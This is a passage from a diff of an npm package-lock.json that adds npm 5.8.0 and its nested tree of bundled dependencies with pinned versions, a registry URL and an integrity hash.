"resolved": "https://registry.npmjs.org/normalize.css/-/normalize.css-4.2.0.tgz", "integrity": "sha1-IdZsxVcVTUN5/R4HnsfeWKN5sJk=" }, + "npm": { + "version": "5.8.0", + "resolved": "https://registry.npmjs.org/npm/-/npm-5.8.0.tgz", + "integrity": "sha512-DowXzQwtSWDtbAjuWecuEiismR0VdNEYaL3VxNTYTdW6AGkYxfGk9LUZ/rt6etEyiH4IEk95HkJeGfXE5Rz9xQ==", + "requires": { + "JSONStream": "1.3.2", + "abbrev": "1.1.1", + "ansi-regex": "3.0.0", + "ansicolors": "0.3.2", + "ansistyles": "0.1.3", + "aproba": "1.2.0", + "archy": "1.0.0", + "bin-links": "1.1.0", + "bluebird": "3.5.1", + "cacache": "10.0.4", + "call-limit": "1.1.0", + "chownr": "1.0.1", + "cli-table2": "0.2.0", + "cmd-shim": "2.0.2", + "columnify": "1.5.4", + "config-chain": "1.1.11", + "debuglog": "1.0.1", + "detect-indent": "5.0.0", + "detect-newline": "2.1.0", + "dezalgo": "1.0.3", + "editor": "1.0.0", + "find-npm-prefix": "1.0.2", + "fs-vacuum": "1.2.10", + "fs-write-stream-atomic": "1.0.10", + "gentle-fs": "2.0.1", + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "has-unicode": "2.0.1", + "hosted-git-info": "2.6.0", + "iferr": "0.1.5", + "imurmurhash": "0.1.4", + "inflight": "1.0.6", + "inherits": "2.0.3", + "ini": "1.3.5", + "init-package-json": "1.10.3", + "is-cidr": "1.0.0", + "json-parse-better-errors": "1.0.1", + "lazy-property": "1.0.0", + "libcipm": "1.6.0", + "libnpx": "10.0.1", + "lockfile": "1.0.3", + "lodash._baseindexof": "3.1.0", + "lodash._baseuniq": "4.6.0", + "lodash._bindcallback": "3.0.1", + "lodash._cacheindexof": "3.0.2", + "lodash._createcache": "3.1.2", + "lodash._getnative": "3.9.1", + "lodash.clonedeep": "4.5.0", + "lodash.restparam": "3.6.1", + "lodash.union": "4.6.0", + "lodash.uniq": "4.5.0", + "lodash.without": "4.4.0", + "lru-cache": "4.1.1", + "meant": "1.0.1", + "mississippi": "3.0.0", + "mkdirp": "0.5.1", + "move-concurrently": "1.0.1", + "nopt": "4.0.1", + "normalize-package-data": "2.4.0", + "npm-cache-filename": "1.0.2", + "npm-install-checks": "3.0.0", + "npm-lifecycle": "2.0.1", + "npm-package-arg": "6.0.0", + "npm-packlist": "1.1.10", + "npm-profile": "3.0.1", + "npm-registry-client": "8.5.1", + "npm-user-validate": "1.0.0", + "npmlog": "4.1.2", + "once": "1.4.0", + "opener": "1.4.3", + "osenv": "0.1.5", + "pacote": "7.6.1", + "path-is-inside": "1.0.2", + "promise-inflight": "1.0.1", + "qrcode-terminal": "0.11.0", + "query-string": "5.1.0", + "qw": "1.0.1", + "read": "1.0.7", + "read-cmd-shim": "1.0.1", + "read-installed": "4.0.3", + "read-package-json": "2.0.13", + "read-package-tree": "5.1.6", + "readable-stream": "2.3.5", + "readdir-scoped-modules": "1.0.2", + "request": "2.83.0", + "retry": "0.10.1", + "rimraf": "2.6.2", + "safe-buffer": "5.1.1", + "semver": "5.5.0", + "sha": "2.0.1", + "slide": "1.1.6", + "sorted-object": "2.0.1", + "sorted-union-stream": "2.1.3", + "ssri": "5.2.4", + "strip-ansi": "4.0.0", + "tar": "4.4.0", + "text-table": "0.2.0", + "uid-number": "0.0.6", + "umask": "1.1.0", + "unique-filename": "1.1.0", + "unpipe": "1.0.0", + "update-notifier": "2.3.0", + "uuid": "3.2.1", + "validate-npm-package-license": "3.0.1", + "validate-npm-package-name": "3.0.0", + "which": "1.3.0", + "worker-farm": "1.5.4", + "wrappy": "1.0.2", + "write-file-atomic": "2.3.0" + }, + "dependencies": { + "JSONStream": { + "version": "1.3.2", + "bundled": true, + "requires": { + "jsonparse": "1.3.1", + "through": "2.3.8" + }, + "dependencies": { + "jsonparse": { + "version": "1.3.1", + "bundled": true + }, + "through": { + "version": "2.3.8", + "bundled": true + } + } + }, + "abbrev": { + "version": "1.1.1", + "bundled": true + }, + "ansi-regex": { + "version": "3.0.0", + "bundled": true + }, + "ansicolors": { + "version": "0.3.2", + "bundled": true + }, + "ansistyles": { + "version": "0.1.3", + "bundled": true + }, + "aproba": { + "version": "1.2.0", + "bundled": true + }, + "archy": { + "version": "1.0.0", + "bundled": true + }, + "bin-links": { + "version": "1.1.0", + "bundled": true, + "requires": { + "bluebird": "3.5.1", + "cmd-shim": "2.0.2", + "fs-write-stream-atomic": "1.0.10", + "gentle-fs": "2.0.1", + "graceful-fs": "4.1.11", + "slide": "1.1.6" + } + }, + "bluebird": { + "version": "3.5.1", + "bundled": true + }, + "cacache": { + "version": "10.0.4", + "bundled": true, + "requires": { + "bluebird": "3.5.1", + "chownr": "1.0.1", + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "lru-cache": "4.1.1", + "mississippi": "2.0.0", + "mkdirp": "0.5.1", + "move-concurrently": "1.0.1", + "promise-inflight": "1.0.1", + "rimraf": "2.6.2", + "ssri": "5.2.4", + "unique-filename": "1.1.0", + "y18n": "4.0.0" + }, + "dependencies": { + "mississippi": { + "version": "2.0.0", + "bundled": true, + "requires": { + "concat-stream": "1.6.1", + "duplexify": "3.5.4", + "end-of-stream": "1.4.1", + "flush-write-stream": "1.0.2", + "from2": "2.3.0", + "parallel-transform": "1.1.0", + "pump": "2.0.1", + "pumpify": "1.4.0", + "stream-each": "1.2.2", + "through2": "2.0.3" + }, + "dependencies": { + "concat-stream": { + "version": "1.6.1", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5", + "typedarray": "0.0.6" + }, + "dependencies": { + "typedarray": { + "version": "0.0.6", + "bundled": true + } + } + }, + "duplexify": { + "version": "3.5.4", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "inherits": "2.0.3", + "readable-stream": "2.3.5", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "end-of-stream": { + "version": "1.4.1", + "bundled": true, + "requires": { + "once": "1.4.0" + } + }, + "flush-write-stream": { + "version": "1.0.2", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5" + } + }, + "from2": { + "version": "2.3.0", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5" + } + }, + "parallel-transform": { + "version": "1.1.0", + "bundled": true, + "requires": { + "cyclist": "0.2.2", + "inherits": "2.0.3", + "readable-stream": "2.3.5" + }, + "dependencies": { + "cyclist": { + "version": "0.2.2", + "bundled": true + } + } + }, + "pump": { + "version": "2.0.1", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + }, + "pumpify": { + "version": "1.4.0", + "bundled": true, + "requires": { + "duplexify": "3.5.4", + "inherits": "2.0.3", + "pump": "2.0.1" + } + }, + "stream-each": { + "version": "1.2.2", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "through2": { + "version": "2.0.3", + "bundled": true, + "requires": { + "readable-stream": "2.3.5", + "xtend": "4.0.1" + }, + "dependencies": { + "xtend": { + "version": "4.0.1", + "bundled": true + } + } + } + } + }, + "y18n": { + "version": "4.0.0", + "bundled": true + } + } + }, + "call-limit": { + "version": "1.1.0", + "bundled": true + }, + "chownr": { + "version": "1.0.1", + "bundled": true + }, + "cli-table2": { + "version": "0.2.0", + "bundled": true, + "requires": { + "colors": "1.1.2", + "lodash": "3.10.1", + "string-width": "1.0.2" + }, + "dependencies": { + "colors": { + "version": "1.1.2", + "bundled": true, + "optional": true + }, + "lodash": { + "version": "3.10.1", + "bundled": true + }, + "string-width": { + "version": "1.0.2", + "bundled": true, + "requires": { + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" + }, + "dependencies": { + "code-point-at": { + "version": "1.1.0", + "bundled": true + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "bundled": true, + "requires": { + "number-is-nan": "1.0.1" + }, + "dependencies": { + "number-is-nan": { + "version": "1.0.1", + "bundled": true + } + } + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "requires": { + "ansi-regex": "2.1.1" + }, + "dependencies": { + "ansi-regex": { + "version": "2.1.1", + "bundled": true + } + } + } + } + } + } + }, + "cmd-shim": { + "version": "2.0.2", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "mkdirp": "0.5.1" + } + }, + "columnify": { + "version": "1.5.4", + "bundled": true, + "requires": { + "strip-ansi": "3.0.1", + "wcwidth": "1.0.1" + }, + "dependencies": { + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "requires": { + "ansi-regex": "2.1.1" + }, + "dependencies": { + "ansi-regex": { + "version": "2.1.1", + "bundled": true + } + } + }, + "wcwidth": { + "version": "1.0.1", + "bundled": true, + "requires": { + "defaults": "1.0.3" + }, + "dependencies": { + "defaults": { + "version": "1.0.3", + "bundled": true, + "requires": { + "clone": "1.0.2" + }, + "dependencies": { + "clone": { + "version": "1.0.2", + "bundled": true + } + } + } + } + } + } + }, + "config-chain": { + "version": "1.1.11", + "bundled": true, + "requires": { + "ini": "1.3.5", + "proto-list": "1.2.4" + }, + "dependencies": { + "proto-list": { + "version": "1.2.4", + "bundled": true + } + } + }, + "debuglog": { + "version": "1.0.1", + "bundled": true + }, + "detect-indent": { + "version": "5.0.0", + "bundled": true + }, + "detect-newline": { + "version": "2.1.0", + "bundled": true + }, + "dezalgo": { + "version": "1.0.3", + "bundled": true, + "requires": { + "asap": "2.0.5", + "wrappy": "1.0.2" + }, + "dependencies": { + "asap": { + "version": "2.0.5", + "bundled": true + } + } + }, + "editor": { + "version": "1.0.0", + "bundled": true + }, + "find-npm-prefix": { + "version": "1.0.2", + "bundled": true + }, + "fs-vacuum": { + "version": "1.2.10", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "path-is-inside": "1.0.2", + "rimraf": "2.6.2" + } + }, + "fs-write-stream-atomic": { + "version": "1.0.10", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "iferr": "0.1.5", + "imurmurhash": "0.1.4", + "readable-stream": "2.3.5" + } + }, + "gentle-fs": { + "version": "2.0.1", + "bundled": true, + "requires": { + "aproba": "1.2.0", + "fs-vacuum": "1.2.10", + "graceful-fs": "4.1.11", + "iferr": "0.1.5", + "mkdirp": "0.5.1", + "path-is-inside": "1.0.2", + "read-cmd-shim": "1.0.1", + "slide": "1.1.6" + } + }, + "glob": { + "version": "7.1.2", + "bundled": true, + "requires": { + "fs.realpath": "1.0.0", + "inflight": "1.0.6", + "inherits": "2.0.3", + "minimatch": "3.0.4", + "once": "1.4.0", + "path-is-absolute": "1.0.1" + }, + "dependencies": { + "fs.realpath": { + "version": "1.0.0", + "bundled": true + }, + "minimatch": { + "version": "3.0.4", + "bundled": true, + "requires": { + "brace-expansion": "1.1.8" + }, + "dependencies": { + "brace-expansion": { + "version": "1.1.8", + "bundled": true, + "requires": { + "balanced-match": "1.0.0", + "concat-map": "0.0.1" + }, + "dependencies": { + "balanced-match": { + "version": "1.0.0", + "bundled": true + }, + "concat-map": { + "version": "0.0.1", + "bundled": true + } + } + } + } + }, + "path-is-absolute": { + "version": "1.0.1", + "bundled": true + } + } + }, + "graceful-fs": { + "version": "4.1.11", + "bundled": true + }, + "has-unicode": { + "version": "2.0.1", + "bundled": true + }, + "hosted-git-info": { + "version": "2.6.0", + "bundled": true + }, + "iferr": { + "version": "0.1.5", + "bundled": true + }, + "imurmurhash": { + "version": "0.1.4", + "bundled": true + }, + "inflight": { + "version": "1.0.6", + "bundled": true, + "requires": { + "once": "1.4.0", + "wrappy": "1.0.2" + } + }, + "inherits": { + "version": "2.0.3", + "bundled": true + }, + "ini": { + "version": "1.3.5", + "bundled": true + }, + "init-package-json": { + "version": "1.10.3", + "bundled": true, + "requires": { + "glob": "7.1.2", + "npm-package-arg": "6.0.0", + "promzard": "0.3.0", + "read": "1.0.7", + "read-package-json": "2.0.13", + "semver": "5.5.0", + "validate-npm-package-license": "3.0.1", + "validate-npm-package-name": "3.0.0" + }, + "dependencies": { + "promzard": { + "version": "0.3.0", + "bundled": true, + "requires": { + "read": "1.0.7" + } + } + } + }, + "is-cidr": { + "version": "1.0.0", + "bundled": true, + "requires": { + "cidr-regex": "1.0.6" + }, + "dependencies": { + "cidr-regex": { + "version": "1.0.6", + "bundled": true + } + } + }, + "json-parse-better-errors": { + "version": "1.0.1", + "bundled": true + }, + "lazy-property": { + "version": "1.0.0", + "bundled": true + }, + "libcipm": { + "version": "1.6.0", + "bundled": true, + "requires": { + "bin-links": "1.1.0", + "bluebird": "3.5.1", + "find-npm-prefix": "1.0.2", + "graceful-fs": "4.1.11", + "lock-verify": "2.0.0", + "npm-lifecycle": "2.0.1", + "npm-logical-tree": "1.2.1", + "npm-package-arg": "6.0.0", + "pacote": "7.6.1", + "protoduck": "5.0.0", + "read-package-json": "2.0.13", + "rimraf": "2.6.2", + "worker-farm": "1.5.4" + }, + "dependencies": { + "lock-verify": { + "version": "2.0.0", + "bundled": true, + "requires": { + "npm-package-arg": "5.1.2", + "semver": "5.5.0" + }, + "dependencies": { + "npm-package-arg": { + "version": "5.1.2", + "bundled": true, + "requires": { + "hosted-git-info": "2.6.0", + "osenv": "0.1.5", + "semver": "5.5.0", + "validate-npm-package-name": "3.0.0" + } + } + } + }, + "npm-logical-tree": { + "version": "1.2.1", + "bundled": true + }, + "protoduck": { + "version": "5.0.0", + "bundled": true, + "requires": { + "genfun": "4.0.1" + }, + "dependencies": { + "genfun": { + "version": "4.0.1", + "bundled": true + } + } + }, + "worker-farm": { + "version": "1.5.4", + "bundled": true, + "requires": { + "errno": "0.1.7", + "xtend": "4.0.1" + }, + "dependencies": { + "errno": { + "version": "0.1.7", + "bundled": true, + "requires": { + "prr": "1.0.1" + }, + "dependencies": { + "prr": { + "version": "1.0.1", + "bundled": true + } + } + }, + "xtend": { + "version": "4.0.1", + "bundled": true + } + } + } + } + }, + "libnpx": { + "version": "10.0.1", + "bundled": true, + "requires": { + "dotenv": "5.0.1", + "npm-package-arg": "6.0.0", + "rimraf": "2.6.2", + "safe-buffer": "5.1.1", + "update-notifier": "2.3.0", + "which": "1.3.0", + "y18n": "4.0.0", + "yargs": "11.0.0" + }, + "dependencies": { + "dotenv": { + "version": "5.0.1", + "bundled": true + }, + "y18n": { + "version": "4.0.0", + "bundled": true + }, + "yargs": { + "version": "11.0.0", + "bundled": true, + "requires": { + "cliui": "4.0.0", + "decamelize": "1.2.0", + "find-up": "2.1.0", + "get-caller-file": "1.0.2", + "os-locale": "2.1.0", + "require-directory": "2.1.1", + "require-main-filename": "1.0.1", + "set-blocking": "2.0.0", + "string-width": "2.1.1", + "which-module": "2.0.0", + "y18n": "3.2.1", + "yargs-parser": "9.0.2" + }, + "dependencies": { + "cliui": { + "version": "4.0.0", + "bundled": true, + "requires": { + "string-width": "2.1.1", + "strip-ansi": "4.0.0", + "wrap-ansi": "2.1.0" + }, + "dependencies": { + "wrap-ansi": { + "version": "2.1.0", + "bundled": true, + "requires": { + "string-width": "1.0.2", + "strip-ansi": "3.0.1" + }, + "dependencies": { + "string-width": { + "version": "1.0.2", + "bundled": true, + "requires": { + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" + }, + "dependencies": { + "code-point-at": { + "version": "1.1.0", + "bundled": true + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "bundled": true, + "requires": { + "number-is-nan": "1.0.1" + }, + "dependencies": { + "number-is-nan": { + "version": "1.0.1", + "bundled": true + } + } + } + } + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "requires": { + "ansi-regex": "2.1.1" + }, + "dependencies": { + "ansi-regex": { + "version": "2.1.1", + "bundled": true + } + } + } + } + } + } + }, + "decamelize": { + "version": "1.2.0", + "bundled": true + }, + "find-up": { + "version": "2.1.0", + "bundled": true, + "requires": { + "locate-path": "2.0.0" + }, + "dependencies": { + "locate-path": { + "version": "2.0.0", + "bundled": true, + "requires": { + "p-locate": "2.0.0", + "path-exists": "3.0.0" + }, + "dependencies": { + "p-locate": { + "version": "2.0.0", + "bundled": true, + "requires": { + "p-limit": "1.2.0" + }, + "dependencies": { + "p-limit": { + "version": "1.2.0", + "bundled": true, + "requires": { + "p-try": "1.0.0" + }, + "dependencies": { + "p-try": { + "version": "1.0.0", + "bundled": true + } + } + } + } + }, + "path-exists": { + "version": "3.0.0", + "bundled": true + } + } + } + } + }, + "get-caller-file": { + "version": "1.0.2", + "bundled": true + }, + "os-locale": { + "version": "2.1.0", + "bundled": true, + "requires": { + "execa": "0.7.0", + "lcid": "1.0.0", + "mem": "1.1.0" + }, + "dependencies": { + "execa": { + "version": "0.7.0", + "bundled": true, + "requires": { + "cross-spawn": "5.1.0", + "get-stream": "3.0.0", + "is-stream": "1.1.0", + "npm-run-path": "2.0.2", + "p-finally": "1.0.0", + "signal-exit": "3.0.2", + "strip-eof": "1.0.0" + }, + "dependencies": { + "cross-spawn": { + "version": "5.1.0", + "bundled": true, + "requires": { + "lru-cache": "4.1.1", + "shebang-command": "1.2.0", + "which": "1.3.0" + }, + "dependencies": { + "shebang-command": { + "version": "1.2.0", + "bundled": true, + "requires": { + "shebang-regex": "1.0.0" + }, + "dependencies": { + "shebang-regex": { + "version": "1.0.0", + "bundled": true + } + } + } + } + }, + "get-stream": { + "version": "3.0.0", + "bundled": true + }, + "is-stream": { + "version": "1.1.0", + "bundled": true + }, + "npm-run-path": { + "version": "2.0.2", + "bundled": true, + "requires": { + "path-key": "2.0.1" + }, + "dependencies": { + "path-key": { + "version": "2.0.1", + "bundled": true + } + } + }, + "p-finally": { + "version": "1.0.0", + "bundled": true + }, + "signal-exit": { + "version": "3.0.2", + "bundled": true + }, + "strip-eof": { + "version": "1.0.0", + "bundled": true + } + } + }, + "lcid": { + "version": "1.0.0", + "bundled": true, + "requires": { + "invert-kv": "1.0.0" + }, + "dependencies": { + "invert-kv": { + "version": "1.0.0", + "bundled": true + } + } + }, + "mem": { + "version": "1.1.0", + "bundled": true, + "requires": { + "mimic-fn": "1.2.0" + }, + "dependencies": { + "mimic-fn": { + "version": "1.2.0", + "bundled": true + } + } + } + } + }, + "require-directory": { + "version": "2.1.1", + "bundled": true + }, + "require-main-filename": { + "version": "1.0.1", + "bundled": true + }, + "set-blocking": { + "version": "2.0.0", + "bundled": true + }, + "string-width": { + "version": "2.1.1", + "bundled": true, + "requires": { + "is-fullwidth-code-point": "2.0.0", + "strip-ansi": "4.0.0" + }, + "dependencies": { + "is-fullwidth-code-point": { + "version": "2.0.0", + "bundled": true + } + } + }, + "which-module": { + "version": "2.0.0", + "bundled": true + }, + "y18n": { + "version": "3.2.1", + "bundled": true + }, + "yargs-parser": { + "version": "9.0.2", + "bundled": true, + "requires": { + "camelcase": "4.1.0" + }, + "dependencies": { + "camelcase": { + "version": "4.1.0", + "bundled": true + } + } + } + } + } + } + }, + "lockfile": { + "version": "1.0.3", + "bundled": true + }, + "lodash._baseindexof": { + "version": "3.1.0", + "bundled": true + }, + "lodash._baseuniq": { + "version": "4.6.0", + "bundled": true, + "requires": { + "lodash._createset": "4.0.3", + "lodash._root": "3.0.1" + }, + "dependencies": { + "lodash._createset": { + "version": "4.0.3", + "bundled": true + }, + "lodash._root": { + "version": "3.0.1", + "bundled": true + } + } + }, + "lodash._bindcallback": { + "version": "3.0.1", + "bundled": true + }, + "lodash._cacheindexof": { + "version": "3.0.2", + "bundled": true + }, + "lodash._createcache": { + "version": "3.1.2", + "bundled": true, + "requires": { + "lodash._getnative": "3.9.1" + } + }, + "lodash._getnative": { + "version": "3.9.1", + "bundled": true + }, + "lodash.clonedeep": { + "version": "4.5.0", + "bundled": true + }, + "lodash.restparam": { + "version": "3.6.1", + "bundled": true + }, + "lodash.union": { + "version": "4.6.0", + "bundled": true + }, + "lodash.uniq": { + "version": "4.5.0", + "bundled": true + }, + "lodash.without": { + "version": "4.4.0", + "bundled": true + }, + "lru-cache": { + "version": "4.1.1", + "bundled": true, + "requires": { + "pseudomap": "1.0.2", + "yallist": "2.1.2" + }, + "dependencies": { + "pseudomap": { + "version": "1.0.2", + "bundled": true + }, + "yallist": { + "version": "2.1.2", + "bundled": true + } + } + }, + "meant": { + "version": "1.0.1", + "bundled": true + }, + "mississippi": { + "version": "3.0.0", + "bundled": true, + "requires": { + "concat-stream": "1.6.1", + "duplexify": "3.5.4", + "end-of-stream": "1.4.1", + "flush-write-stream": "1.0.2", + "from2": "2.3.0", + "parallel-transform": "1.1.0", + "pump": "3.0.0", + "pumpify": "1.4.0", + "stream-each": "1.2.2", + "through2": "2.0.3" + }, + "dependencies": { + "concat-stream": { + "version": "1.6.1", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5", + "typedarray": "0.0.6" + }, + "dependencies": { + "typedarray": { + "version": "0.0.6", + "bundled": true + } + } + }, + "duplexify": { + "version": "3.5.4", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "inherits": "2.0.3", + "readable-stream": "2.3.5", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "end-of-stream": { + "version": "1.4.1", + "bundled": true, + "requires": { + "once": "1.4.0" + } + }, + "flush-write-stream": { + "version": "1.0.2", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5" + } + }, + "from2": { + "version": "2.3.0", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.5" + } + }, + "parallel-transform": { + "version": "1.1.0", + "bundled": true, + "requires": { + "cyclist": "0.2.2", + "inherits": "2.0.3", + "readable-stream": "2.3.5" + }, + "dependencies": { + "cyclist": { + "version": "0.2.2", + "bundled": true + } + } + }, + "pump": { + "version": "3.0.0", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + }, + "pumpify": { + "version": "1.4.0", + "bundled": true, + "requires": { + "duplexify": "3.5.4", + "inherits": "2.0.3", + "pump": "2.0.1" + }, + "dependencies": { + "pump": { + "version": "2.0.1", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + } + } + }, + "stream-each": { + "version": "1.2.2", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "through2": { + "version": "2.0.3", + "bundled": true, + "requires": { + "readable-stream": "2.3.5", + "xtend": "4.0.1" + }, + "dependencies": { + "xtend": { + "version": "4.0.1", + "bundled": true + } + } + } + } + }, + "mkdirp": { + "version": "0.5.1", + "bundled": true, + "requires": { + "minimist": "0.0.8" + }, + "dependencies": { + "minimist": { + "version": "0.0.8", + "bundled": true + } + } + }, + "move-concurrently": { + "version": "1.0.1", + "bundled": true, + "requires": { + "aproba": "1.2.0", + "copy-concurrently": "1.0.5", + "fs-write-stream-atomic": "1.0.10", + "mkdirp": "0.5.1", + "rimraf": "2.6.2", + "run-queue": "1.0.3" + }, + "dependencies": { + "copy-concurrently": { + "version": "1.0.5", + "bundled": true, + "requires": { + "aproba": "1.2.0", + "fs-write-stream-atomic": "1.0.10", + "iferr": "0.1.5", + "mkdirp": "0.5.1", + "rimraf": "2.6.2", + "run-queue": "1.0.3" + } + }, + "run-queue": { + "version": "1.0.3", + "bundled": true, + "requires": { + "aproba": "1.2.0" + } + } + } + }, + "nopt": { + "version": "4.0.1", + "bundled": true, + "requires": { + "abbrev": "1.1.1", + "osenv": "0.1.5" + } + }, + "normalize-package-data": { + "version": "2.4.0", + "bundled": true, + "requires": { + "hosted-git-info": "2.6.0", + "is-builtin-module": "1.0.0", + "semver": "5.5.0", + "validate-npm-package-license": "3.0.1" + }, + "dependencies": { + "is-builtin-module": { + "version": "1.0.0", + "bundled": true, + "requires": { + "builtin-modules": "1.1.1" + }, + "dependencies": { + "builtin-modules": { + "version": "1.1.1", + "bundled": true + } + } + } + } + }, + "npm-cache-filename": { + "version": "1.0.2", + "bundled": true + }, + "npm-install-checks": { + "version": "3.0.0", + "bundled": true, + "requires": { + "semver": "5.5.0" + } + }, + "npm-lifecycle": { + "version": "2.0.1", + "bundled": true, + "requires": { + "byline": "5.0.0", + "graceful-fs": "4.1.11", + "node-gyp": "3.6.2", + "resolve-from": "4.0.0", + "slide": "1.1.6", + "uid-number": "0.0.6", + "umask": "1.1.0", + "which": "1.3.0" + }, + "dependencies": { + "byline": { + "version": "5.0.0", + "bundled": true + }, + "node-gyp": { + "version": "3.6.2", + "bundled": true, + "requires": { + "fstream": "1.0.11", + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "minimatch": "3.0.4", + "mkdirp": "0.5.1", + "nopt": "3.0.6", + "npmlog": "4.1.2", + "osenv": "0.1.5", + "request": "2.83.0", + "rimraf": "2.6.2", + "semver": "5.3.0", + "tar": "2.2.1", + "which": "1.3.0" + }, + "dependencies": { + "fstream": { + "version": "1.0.11", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "inherits": "2.0.3", + "mkdirp": "0.5.1", + "rimraf": "2.6.2" + } + }, + "minimatch": { + "version": "3.0.4", + "bundled": true, + "requires": { + "brace-expansion": "1.1.11" + }, + "dependencies": { + "brace-expansion": { + "version": "1.1.11", + "bundled": true, + "requires": { + "balanced-match": "1.0.0", + "concat-map": "0.0.1" + }, + "dependencies": { + "balanced-match": { + "version": "1.0.0", + "bundled": true + }, + "concat-map": { + "version": "0.0.1", + "bundled": true + } + } + } + } + }, + "nopt": { + "version": "3.0.6", + "bundled": true, + "requires": { + "abbrev": "1.1.1" + } + }, + "semver": { + "version": "5.3.0", + "bundled": true + }, + "tar": { + "version": "2.2.1", + "bundled": true, + "requires": { + "block-stream": "0.0.9", + "fstream": "1.0.11", + "inherits": "2.0.3" + }, + "dependencies": { + "block-stream": { + "version": "0.0.9", + "bundled": true, + "requires": { + "inherits": "2.0.3" + } + } + } + } + } + }, + "resolve-from": { + "version": "4.0.0", + "bundled": true + } + } + }, + "npm-package-arg": { + "version": "6.0.0", + "bundled": true, + "requires": { + "hosted-git-info": "2.6.0", + "osenv": "0.1.5", + "semver": "5.5.0", + "validate-npm-package-name": "3.0.0" + } + }, + "npm-packlist": { + "version": "1.1.10", + "bundled": true, + "requires": { + "ignore-walk": "3.0.1", + "npm-bundled": "1.0.3" + }, + "dependencies": { + "ignore-walk": { + "version": "3.0.1", + "bundled": true, + "requires": { + "minimatch": "3.0.4" + }, + "dependencies": { + "minimatch": { + "version": "3.0.4", + "bundled": true, + "requires": { + "brace-expansion": "1.1.8" + }, + "dependencies": { + "brace-expansion": { + "version": "1.1.8", + "bundled": true, + "requires": { + "balanced-match": "1.0.0", + "concat-map": "0.0.1" + }, + "dependencies": { + "balanced-match": { + "version": "1.0.0", + "bundled": true + }, + "concat-map": { + "version": "0.0.1", + "bundled": true + } + } + } + } + } + } + }, + "npm-bundled": { + "version": "1.0.3", + "bundled": true + } + } + }, + "npm-profile": { + "version": "3.0.1", + "bundled": true, + "requires": { + "aproba": "1.2.0", + "make-fetch-happen": "2.6.0" + }, + "dependencies": { + "make-fetch-happen": { + "version": "2.6.0", + "bundled": true, + "requires": { + "agentkeepalive": "3.3.0", + "cacache": "10.0.4", + "http-cache-semantics": "3.8.1", + "http-proxy-agent": "2.0.0", + "https-proxy-agent": "2.1.1", + "lru-cache": "4.1.1", + "mississippi": "1.3.1", + "node-fetch-npm": "2.0.2", + "promise-retry": "1.1.1", + "socks-proxy-agent": "3.0.1", + "ssri": "5.2.4" + }, + "dependencies": { + "agentkeepalive": { + "version": "3.3.0", + "bundled": true, + "requires": { + "humanize-ms": "1.2.1" + }, + "dependencies": { + "humanize-ms": { + "version": "1.2.1", + "bundled": true, + "requires": { + "ms": "2.1.1" + }, + "dependencies": { + "ms": { + "version": "2.1.1", + "bundled": true + } + } + } + } + }, + "http-cache-semantics": { + "version": "3.8.1", + "bundled": true + }, + "http-proxy-agent": { + "version": "2.0.0", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "debug": "2.6.9" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "debug": { + "version": "2.6.9", + "bundled": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "https-proxy-agent": { + "version": "2.1.1", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "debug": "3.1.0" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "debug": { + "version": "3.1.0", + "bundled": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "mississippi": { + "version": "1.3.1", + "bundled": true, + "requires": { + "concat-stream": "1.6.0", + "duplexify": "3.5.3", + "end-of-stream": "1.4.1", + "flush-write-stream": "1.0.2", + "from2": "2.3.0", + "parallel-transform": "1.1.0", + "pump": "1.0.3", + "pumpify": "1.4.0", 